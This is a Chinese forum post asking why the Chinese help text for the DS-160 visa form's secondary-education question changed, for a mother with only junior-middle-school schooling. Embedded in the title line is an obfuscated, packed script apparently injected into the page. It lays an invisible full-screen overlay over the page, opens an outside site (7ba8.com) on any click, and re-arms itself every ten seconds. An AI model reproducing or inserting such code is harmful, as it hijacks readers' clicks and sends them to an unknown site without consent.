请求ds-160帮助,原文和翻译的问题

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>难道ds160表又有变化?
好不容易帮妈妈申请b2签证,今天填完ds160表并确认打印好了,结果突然看到网上朋友说要把''Have you attended any educational institutions at a secondary level or above“上写上yes。因为妈妈只有初中学历,我在之前试填的时候貌似记得旁边那个帮助栏的翻译写着初中以上学历,可今天我填的时候翻译竟然变成了高中/职业学校,所以我就选择了no。结果翻看了下,版主们都说如果是初中毕业,就要写成yes。。
想问问大家这种情况怎么回事啊。
英文版本还是一样的:
help: level of education:
you must answer yes to this question if you have ever attended, for any length of time, a high school /secondary school (or its equivalent in your country) or college ,university , graduate school a doctoral program, or a vocational program.
但其中这句:high school/ scondary school (or its equivalent in your country)的翻译变了,变成了高中/职业学校(或者国家等同学历的...)..
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部